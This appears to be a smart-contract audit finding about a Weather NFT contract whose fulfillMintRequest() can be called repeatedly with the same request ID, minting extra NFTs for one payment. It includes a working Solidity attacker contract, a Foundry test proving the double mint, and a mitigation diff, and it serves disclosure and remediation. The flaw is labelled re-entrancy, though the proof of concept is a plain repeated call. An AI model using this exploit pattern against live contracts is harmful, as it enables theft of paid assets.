Re-entry fulfillMintRequest() with same request ID can mint multiple NFTs for the price of one.
Description
-
Normally, the minting process for a Weather NFT is designed as a two-step procedure. First, a user calls requestMintWeatherNFT() to initiate a Chainlink Functions request for weather data and pays the associated minting fee. After the Chainlink Functions oracle fulfills this request by returning the weather data to the contract, the user is expected to call fulfillMintRequest() once to finalize the minting of a single NFT based on that data and payment.
However, the fulfillMintRequest() function fails to invalidate or delete the associated requestId from its internal mappings (s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq) before completing the minting process and executing potential external calls (like the _mint operation). This critical omission allows a malicious smart contract, acting as msg.sender, to call fulfillMintRequest() multiple times with the same valid requestId within a single transaction, effectively processing the request and minting additional NFTs without requiring additional payment.
Risk
Likelihood: High
-
The fulfillMintRequest() function can be called by any smart contract, which can be programmed to perform re-entrant calls.
-
The state for a given requestId (s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq) is not cleared after initial validation and is still present when the _mint() external call is executed, allowing subsequent re-entrant calls with the same requestId to pass the initial require conditions.
Impact: High
Proof of Concept
contract MaliciousReentrantAttacker {
WeatherNft public weatherNft;
bytes32 public storedRequestId;
constructor(address _weatherNftAddress) {
weatherNft = WeatherNft(_weatherNftAddress);
}
function initiateMintRequest(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
) external payable {
weatherNft.requestMintWeatherNFT{value: msg.value}(
_pincode, _isoCode, _registerKeeper, _heartbeat, _initLinkDeposit
);
}
function fulfillMintAndReenter(bytes32 requestId) external {
storedRequestId = requestId;
weatherNft.fulfillMintRequest(requestId);
weatherNft.fulfillMintRequest(requestId);
}
}
function test_reentrancyInFulfillMintRequest() public {
vm.startPrank(user);
MaliciousReentrantAttacker attackerContract = new MaliciousReentrantAttacker(address(weatherNft));
vm.stopPrank();
vm.deal(address(attackerContract), 100e18);
console.log("MaliciousReentrantAttacker deployed at:", address(attackerContract));
console.log("Attacker contract balance:", address(attackerContract).balance);
string memory pincode = "10001";
string memory isoCode = "US";
bool registerKeeper = false;
uint256 heartbeat = 1 hours;
uint256 mintPrice = weatherNft.s_currentMintPrice();
uint256 initialTokenCounter = weatherNft.s_tokenCounter();
console.log("Initial token counter:", initialTokenCounter);
vm.startPrank(address(attackerContract));
vm.recordLogs();
attackerContract.initiateMintRequest{value: mintPrice}(pincode, isoCode, registerKeeper, heartbeat, 0);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 mintReqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(address userAddr, string memory p, string memory iso, bytes32 id) =
abi.decode(logs[i].data, (address, string, string, bytes32));
mintReqId = id;
break;
}
}
assert(mintReqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.SUNNY);
weatherNft.handleOracleFulfillment(mintReqId, weatherResponse, "");
console.log("Chainlink Functions fulfillment simulated for mint request.");
vm.startPrank(address(attackerContract));
attackerContract.fulfillMintAndReenter(mintReqId);
vm.stopPrank();
console.log("Attacker contract called fulfillMintAndReenter.");
uint256 finalTokenCounter = weatherNft.s_tokenCounter();
console.log("Final token counter:", finalTokenCounter);
assertEq(
finalTokenCounter, initialTokenCounter + 2, "Token counter should have increased by 2 due to reentrancy."
);
assertEq(
weatherNft.ownerOf(initialTokenCounter),
address(attackerContract),
"First minted NFT should be owned by the attacker contract."
);
console.log("NFT (ID:", initialTokenCounter, ") owned by:", weatherNft.ownerOf(initialTokenCounter));
assertEq(
weatherNft.ownerOf(initialTokenCounter + 1),
address(attackerContract),
"Second minted NFT should be owned by the attacker contract."
);
console.log("NFT (ID:", initialTokenCounter + 1, ") owned by:", weatherNft.ownerOf(initialTokenCounter + 1));
}
Recommended Mitigation
Immediately after validating the request and before performing any external calls (like _mint), delete the requestId entries from s_funcReqIdToMintFunctionReqResponse and s_funcReqIdToUserMintReq. This invalidates the requestId for subsequent attempts.
function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
require(_userMintRequest.user == msg.sender, WeatherNft__Unauthorized());
+ // Clear request state first
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
+ delete s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
uint256 upkeepId;
if (_userMintRequest.registerKeeper) {
// Register chainlink keeper to pull weather data in order to automate weather nft
LinkTokenInterface(s_link).approve(s_keeperRegistrar, _userMintRequest.initLinkDeposit);
IAutomationRegistrarInterface.RegistrationParams memory _keeperParams = IAutomationRegistrarInterface
.RegistrationParams({
name: string.concat("Weather NFT Keeper: ", Strings.toString(tokenId)),
encryptedEmail: "",
upkeepContract: address(this),
gasLimit: s_upkeepGaslimit,
adminAddress: address(this),
triggerType: 0,
checkData: abi.encode(tokenId),
triggerConfig: "",
offchainConfig: "",
amount: uint96(_userMintRequest.initLinkDeposit)
});
upkeepId = IAutomationRegistrarInterface(s_keeperRegistrar).registerUpkeep(_keeperParams);
}
s_weatherNftInfo[tokenId] = WeatherNftInfo({
heartbeat: _userMintRequest.heartbeat,
lastFulfilledAt: block.timestamp,
upkeepId: upkeepId,
pincode: _userMintRequest.pincode,
isoCode: _userMintRequest.isoCode
});
}
function _fulfillWeatherUpdate(bytes32 requestId, bytes memory response, bytes memory err) internal {
if (response.length == 0 || err.length > 0) {
return;
}
uint256 tokenId = s_funcReqIdToTokenIdUpdate[requestId];
+ // Clear the state for this update request once fulfilled
+ delete s_funcReqIdToTokenIdUpdate[requestId];
uint8 weather = abi.decode(response, (uint8));
s_weatherNftInfo[tokenId].lastFulfilledAt = block.timestamp;
s_tokenIdToWeather[tokenId] = Weather(weather);
emit NftWeatherUpdated(tokenId, Weather(weather));
}